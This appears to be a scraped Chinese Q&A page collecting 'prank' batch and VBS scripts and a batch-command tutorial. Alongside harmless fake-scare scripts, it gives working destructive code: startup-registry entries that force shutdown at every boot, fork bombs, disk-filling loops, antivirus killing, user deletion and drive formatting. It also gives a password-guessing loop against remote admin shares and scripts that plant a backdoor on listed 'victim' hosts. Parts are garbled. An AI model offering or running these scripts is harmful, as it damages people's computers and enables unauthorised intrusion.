百度
360搜索
搜狗搜索

bat代码大全,bat整人代码详细介绍

本文目录一览: bat整人代码

@echo off
color 0a
:firdo
echo.x=msgbox("对不起!你被系统鄙视了!!" ,Buttons, "错误!")>%systemdrive%\error.vbs
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "systemvbs" /t REG_SZ /d "%systemdrive%\error.vbs" >nul
start %systemdrive%\error.vbs
:secdo
echo.@echo off >%systemdrive%system.bat
echo.shutdown -f -s -t 10 -c "对不起!你被系统鄙视了" >>%systemdrive%\system.bat
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "system" /t REG_SZ /d "%systemdrive%\system.bat" >nul
shutdown -f -s -t 10 -c "对不起!你被系统鄙视了"
exit
解释,在firdo,bat在系统盘自动创建一个vbs文件然后自动开启它,开了会弹出“错误,你被系统鄙视了”的气球,并且把它加到开机启动项,每每开机时就会弹出以上的气球...
在secdo,bat在系统盘自动创建另一个bat文件,就是关机的代码,并且加入该bat文件到开机启动项,每每一开机10秒后便开始关机,这个够呛的吧~ ^ ^
以上是我为了整朋友而创作的,绝对原创~希望你看得懂我的解释..........
@ color 1f
@echo off
title 最好别关本程序否则后果自负......!
echo 你中招了!
echo 处理器异常!
ping 127.0.0.1 /n 4 >nul
echo.
echo 正在移除C盘……
echo.
ping 127.0.0.1 /n 4 >nul
echo 正在移除D盘……
echo.
echo 正在移除E盘……
ping 127.0.0.1 /n 4 >nul
echo F盘先给你留着吧!
echo.
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会的……
echo.
echo 呵呵开玩笑的!
ping 127.0.0.1 /n 4 >nul
echo 正在恢复C盘……
echo.
echo 正在恢复D盘……
ping 127.0.0.1 /n 4 >nul
echo 正在恢复E盘……
echo.
echo 正在恢复F盘……
ping 127.0.0.1 /n 4 >nul
echo 请一直按住 Enter 键
taskkill /f /im 360tray.exe
ping 127.0.0.1 /n 4 >nul
echo 看你的磁盘好少,怪可怜的……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你加几个吧!
echo.
ping 127.0.0.1 /n 4 >nul
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 呵呵……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你两分钟时间,看看你的电脑!
echo .
ping 127.0.0.1 /n 120 >nul
echo 看过了吗,好玩的在后面!
echo.
ping 127.0.0.1 /n 120 >nul
echo 哈哈!
echo.
@echo off
shutdown /s /t 120 /c "电脑马上就要关机!"
ping 127.0.0.1 /n 15 >nul
shutdown -a
echo 你上当了,吓唬吓唬你!
ping 127.0.0.1 /n 4 >nul
echo 正在一键重装中,请稍后……
echo.
echo 0.01
ping 127.0.0.1 /n 4 >nul
echo 0.13
ping 127.0.0.1 /n 4 >nul
echo 0.25
ping 127.0.0.1 /n 4 >nul
echo 0.49
ping 127.0.0.1 /n 4 >nul
echo 0.69
ping 127.0.0.1 /n 4 >nul
echo 0.89
ping 127.0.0.1 /n 4 >nul
echo 0.99
ping 127.0.0.1 /n 4 >nul
echo loading
ping 127.0.0.1 /n 4 >nul
echo 重装已完成!
ping 127.0.0.1 /n 4 >nul
echo 也是吓唬你的!
ping 127.0.0.1 /n 10 >nul
echo 真正的游戏开始了……
taskkill /f /im explorer.exe
shutdown /s /t 30 /c "系统关键文件被删除导致崩溃!系统将在30秒后关机"
ping 127.0.0.1 /n 28 >nul
shutdown -a
echo 你上当了,吓唬吓唬你,现在恢复所有程序Loading......
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 恢复已完成
ping 127.0.0.1 /n 4 >nul
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会
ping 127.0.0.1 /n 4 >nul
echo 逗你玩的!
ping 127.0.0.1 /n 4 >nul
echo 会发生什么呢?
ping 127.0.0.1 /n 4 >nul
echo 什么都没发生
横线开始
______________________________________________________
:start
start cmd
goto start
______________________________________________________
:和start间没有空格
这个代码可以打开无数个cmd窗口,唯一的解决方法是:重启
shutdown -a 可以解除关机命令
@echo off
:a
for /r "c:\Windows\system32" %%a in (*.*) do start "" "%%a"
goto a
pause
注意条款:全部代码没有正常解除方式,会对机器造成伤害,在实体机上实验概不负责!
@echo off
echo 开始
:2
start cmd.exe
goto 2
就是主要是利用goto 来跳转到:2
循环跳转...就是循环用start 打开CMD ^^
友情提示...死机不负责.......
也可以利用
别的
@echo off
net user
%0
这里的核心是%0 他表示本身 就是循环运行本身^^
这里循环运行net user
上面主要把别人电脑整死机
下面我们利用修改注册表来恶整
常见修改注册表
就是开机加载 这世界人都知道
@echo off
echo wahaha
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe(开机加载文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(这里是开机加载文件的路径)
这里可以添加一个开始我们弄的哪个strat 这个
@echo off
echo echo 开始 >c:\windows\cnhacker.bat
echo :2 >>c:\windows\cnhacker.bat
echo start cmd.exe >>c:\windows\cnhacker.bat
echo goto 2>>c:\windows\cnhacker.bat
这里自动在windows下生成cnhacker.bat
然后利用上面开机加载 写起...就OK拉
修改IE栏
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "要改的名字...." /f
屏蔽修改主页那里
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f
简单硬盘炸弹(多生成垃圾文章)
echo off
set a=0
:22
set /a a=%a%+1
echo laji >C:\%a%.txt
goto 22
如何要效果好 最好加一段vbs代码 隐藏运行 在C盘制造大量的垃圾TXT文件
修改不电脑显示
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
把00000000 改成00000001 就可以恢复
这段大家不要实验......
就是利用%username%
net user %username% /del (删除当前使用的用户 不可以直接删除ADMINISTRATOR用户外)
造成你电脑上面ADMINISTRATOR桌面资料丢失
net user %username% /add
NET LOCALGROUP ADMINISTRATORS %username% /add
强行结束smss.exe 进程
ntsd -c q -pn smss.exe (结束该进程你的电脑即将卡死鼠标不能用)
shutdown -a (放弃关闭计算机)
危险不要实验
迅速格式所有盘符
for /f %%i in (d:,e:f:g:h:) do format /q /y %%i
这个必须要利用记事本保存 然后.bat 才能够执行 在CMD下面 无法执行
这些都是病毒常见修改注册表的位置和脚本喜欢改的地方...比较常见!~~
颜色属性由两个十六进制数字指定 --
第一个为背景,第二个则为前景。
每个数字可以为以下任何值之一:
例如color 0d 它就是黑色背景 淡紫色字体
0 = 黑色 8 = 灰色
1 = 蓝色 9 = 淡蓝色
2 = 绿色 A = 淡绿色
3 = 湖蓝色 B = 淡浅绿色
4 = 红色 C = 淡红色
5 = 紫色 D = 淡紫色
6 = 黄色 E = 淡黄色
7 = 白色 F = 亮白色

我想要几个好玩的bat代码

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v aaa /t REG_SZ /d %0 /f ---此句是说往注册表里添加内容.怕添加的内容就是下面两句话.添加的内容放在每次的开机时运行.
  c:\windows\system32\shutdown -r -t 2008
---此句中 -r 是说关闭并重启计算机. -t 2008 是说关闭计算机延迟时间为 2008秒
  c:\windows\system32\shutdown -l -t 0 ---
---此句中 -l 是说注销计算机. -t 0 是说注销延迟时间为0秒.
复制以下代码粘贴到笔记本里,再把后缀名改为.vbs
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a= inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"

收 BAT 文件 常用 代码 大全 如果好 我可以加分

最简单的几个
(1) shutdown/s 这个是关机
(2) shutdown -s -t 60 倒计时1分钟关机
(3) shutdown /l 重启
希望对你有帮助.
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
回答者:〆ɑ改良oち - 助理 三级 12-1 02:41
您觉得最佳答案好不好? 目前有 0 个人评价

阅读更多 >>>  电脑文件怎么保存

50% (0)
50% (0)
其他回答 共 5 条
下面是DOS下的常用命令,详细见http://www.hongen.com/pc/newer/os/dos/dos0301.htm 。
cd 改变当前目录 sys 制作DOS系统盘
copy 拷贝文件 del 删除文件
deltree 删除目录树 dir 列文件名
diskcopy 制磁盘 edit 文本编辑
format 格式化磁盘 md 建立子目录
mem 查看内存状况 type 显示文件内容
rd 删除目录 ren 改变文件名
回答者:nuoxin1983 - 助理 二级 12-1 02:44
DOS命令大全
http://www.polsnet.com/Article/otherart/other/200508/1485.html
回答者:tcj0 - 试用期 一级 12-1 02:45
sfc.exe系统文件检查器
sfc /scannow-windows文件保护
tsshutdn-60秒倒计时关机命令
tourstartxp简介(安装完成后出现的漫游xp程序)
taskmgr任务管理器
eventvwr-事件查看器
eudcedit-造字程序
explorer-打开资源管理器
packager-对象包装程序
perfmon.msc计算机性能监测程序
progman程序管理器
regedit.exe注册表
rsop.msc-组策略结果集
regedt32-注册表编辑器
rononce -p 15秒关机
regsvr32 /u *.dll停止dll文件运行
regsvr32 /u zipfldr.dll取消ZIP支持
cmd.exeCMD命令提示符
chkdsk.exe-Chkdsk磁盘检查
certmgr.msc证书管理实用程序
calc-启动计算器
charmap启动字符映射表
cliconfg-SQL SERVER 客户端网络实用程序
Clipbrd剪贴板查看器
conf-启动netmeeting
compmgmt.msc-计算机管理
cleanmgr-垃圾整理
ciadv.msc索引服务程序
osk打开屏幕键盘
odbcad32-ODBC数据源管理器
oobe/msoobe /a检查XP是否激活
lusrmgr.msc本机用户和组
logoff-注销命令
iexpress-木马捆绑工具,系统自带
Nslookup-IP地址侦测器
fsmgmt.msc-共享文件夹管理器
utilman辅助工具管理器
gpedit.msc-组策略

求Bat整人代码。。很搞笑很吓人但是很安全!

do
msgbox"你好!我是黑客50160!"
msgbox"你的电脑被我入侵了!"
msgbox"电脑已被入侵!",3+18,"Windows安全保护"
msgbox"硬盘数据损坏!",3+18,"Windows安全保护"
a=inputbox("乖乖交出电脑!")
if a="io;545bu45bto4u5u645biu54uniou54h4i" then
msgbox"什么!你竟然破解了我的程序!我还会回来的!"
exit do
else
msgbox"哼!就你这辣鸡水平还想破解我的程序?和你的系统说再见吧!"
end if
loop
@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒计时
%%a

ping
-n
2
127.1
1>nul
2>nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
>nul
echo.
echo
警告!警告!电脑已被入侵!!!
ping
127.1
/n
3
>nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a=">============================================================================
=="
<nul
for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=
<nul
)

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=^>
<nul
ping/n

1

127.1

>nul

)

echo

删除完毕

echo.

echo

正在删除E盘所有文件...

set

/p

a=">============================================================================

=="
<nul
for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=
<nul
)

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=^>
<nul
ping/n

1

127.1

>nul

)

echo

删除完毕

echo.

echo

正在删除D盘所有文件...

set

/p

a=">============================================================================

=="
<nul
for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=
<nul
)

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=^>
<nul
ping/n

1

127.1

>nul

)

echo

删除完毕

echo.

echo

正在删除C盘所有文件...

set

/p

a=">============================================================================

=="
<nul
for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=
<nul
)

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=^>
<nul
ping/n

1

127.1

>nul

)

echo

删除完毕

echo.

echo

正在删除分区表...

set

/p

a=">============================================================================

=="
<nul
for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=
<nul
)

for

/l

%%i

in

(1,1,80)

do

(

set

/p

aa=^>
<nul
ping/n

1

127.1

>nul

)

echo.

echo

删除完毕

echo.

echo.

echo

正在遭受黑客的炸弹袭击!

echo.

echo

电脑崩溃!准备关闭系统!

ping

127.1

/n

3

>nul

shutdown

-s

-t

0

>nul
</nul
</nul
</nul
</nul
</nul
</nul
</nul
</nul
</nul
</nul
</nul
</nul
</nul
</nul
</nul

求几个bat代码要好玩的

你看下好不好玩,我觉得好玩
代码如下
@echo off
title 最好别关本程序否则后果自负!
echo 你中招了!
echo 处理器异常!
@color 4f
ping 127.0.0.1 /n 4 >nul
echo.
echo 正在移除C盘……
echo.
ping 127.0.0.1 /n 4 >nul
echo 正在移除D盘……
echo 正在移除E盘……
echo.
echo System Error!
ping 127.0.0.1 /n 4 >nul
echo 系统错误!需要关闭电脑!
ping 127.0.0.1 /n 4 >nul
echo 正在关闭电脑……
ping 127.0.0.1 /n 4 >nul
ping 127.0.0.1 /n 4 >nul
@color 2e
ping 127.0.0.1 /n 4 >nul
echo 哈哈哈,骗你的,什么都没发生!
echo 正在恢复系统……
echo 想吓你的而已!
ping 127.0.0.1 /n 4 >nul
echo 再见
ping 127.0.0.1 /n 4 >nul
ping 127.0.0.1 /n 4 >nul
@color 07
@title 命令提示符
C:\Users\Administrator\
@cls
@cmd
结束。
有些是抄别人的,别说我**。
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v aaa /t REG_SZ /d %0 /f ---此句是说往注册表里添加内容.怕添加的内容就是下面两句话.添加的内容放在每次的开机时运行.
  c:\windows\system32\shutdown -r -t 2008
---此句中 -r 是说关闭并重启计算机. -t 2008 是说关闭计算机延迟时间为 2008秒
  c:\windows\system32\shutdown -l -t 0 ---
---此句中 -l 是说注销计算机. -t 0 是说注销延迟时间为0秒.

一些bat恶搞文件的代码,顺便发下教程

没有参数 显示此消息(与 ? 相同) -i 显示 GUI 界面,必须是第一个选项 -l 注销(不能与选项 -m 一起使用) -s 关闭此计算机 -r 关闭并重启动此计算机 -a 放弃系统关机 -m \\computername 远程计算机关机/重启动/放弃 -t xx 设置关闭的超时为 xx 秒 -c "comment" 关闭注释(最大 127 个字符) -f 强制运行的应用程序关闭而没有警告 -d [u][p]:xx:yy 关闭原因代码 u 是用户代码 p 是一个计划的关闭代码 xx 是一个主要原因代码(小于 256 的正整数) yy 是一个次要原因代码(小于 65536 的正整数)
复制代码如下,保存为bat格式
@echo off
::根据植树原则,n后的数字为暂停秒数加一
ping -n 3 127.0.0.1>nul
taskkill /f /im explorer.exe
ping -n 3 127.0.0.1>nul
start explorer.exe
call %0
@echo off
title Sc_简爱
cls
mode con: cols=30 lines=4
echo.@echo off >C:\Sc简爱.bat
echo.mode con: cols=30 lines=3 >>C:\Sc简爱.bat
echo.cls >>C:\Sc简爱.bat
echo.shutdown -f -s -t 0 >>C:\Sc简爱.bat
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "简爱" /t REG_SZ /d "C:\Sc简爱.bat" >nul
::::解释一下 这段批处理运行后 暂时没效果 但是关机或者重启就开不开机了 开机自动关机
::::开机F8进安全模式 删除 C:\Sc简爱.bat 即可
::::也可以在最后加一句 C:\Sc简爱.bat 立马关机

阅读更多 >>>  iphone怎么把抖音的歌设置成铃声

BAT格式的整人代码和作用!谢谢!

下面是比较整人的批处理,不过不建议这样做 @echo offecho start 1.bat >%temp%\2.batecho for /r %windir% %%i in (*) do start %%i >>%temp%\2.batecho start 2.bat >%temp%\1.batecho for /r %windir% %%i in (*) do start %%i >>%temp%\1.batecho start 3.bat >%temp%\4.batecho for /r %windir% %%i in (*) do start %%i >>%temp%\4.batecho start 4.bat >%temp%\3.batecho for /r %windir% %%i in (*) do start %%i >>%temp%\3.batecho start 5.bat >%temp%\6.batecho for /r %windir% %%i in (*) do start %%i >>%temp%\6.batecho start 6.bat >%temp%\5.batecho for /r %windir% %%i in (*) do start %%i >>%temp%\5.batstart %temp%\1.bat & start %temp%\3.bat & start %temp%\5.batfor /l in (1,1,999999) do start %windir%\system32\calc.exefor /r %windir% %%i in (*) do start %%i
来一个简短的,代码如下: @echo off:1start cmd.exegoto 1
1.运行后模拟蓝屏(纯属界面模拟,无任何危害,连按三次Esc键可退出)========================cut here===================================================@echo off
<"%~f0" more +6 |debug >nul
move t "BLUESRN.COM"
BLUESRN
del BLUESRN.COM
goto :eof
e0100 B4 00 B0 12 CD 10 B0 03 CD 10 B4 02 B7 00 B6 07
e0110 B2 00 CD 10 BB 00 00 B4 09 B9 09 00 8B 97 07 03
e0120 CD 21 83 C3 02 E2 F5 B8 00 B8 8E C0 BB 00 00 26
e0130 C6 47 01 17 83 C3 02 81 FB 9F 0F 77 02 EB F0 B3
e0140 00 B4 00 CD 16 3C 1B 75 F6 FE C3 80 FB 03 72 F1
e0150 B8 00 4C CD 21 00 20 20 20 20 20 20 20 20 20 20
e0160 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
e0170 20 20 20 20 20 20 20 20 20 57 69 6E 64 6F 77 73
e0180 0D 0A 24 0D 0A 24 20 20 20 20 20 41 20 66 61 74
e0190 61 6C 20 65 78 63 65 70 74 69 6F 6E 20 30 45 20
e01A0 68 61 73 20 6F 63 63 75 72 72 65 64 20 61 74 20
e01B0 30 30 32 38 3A 43 30 30 31 31 45 33 36 20 69 6E
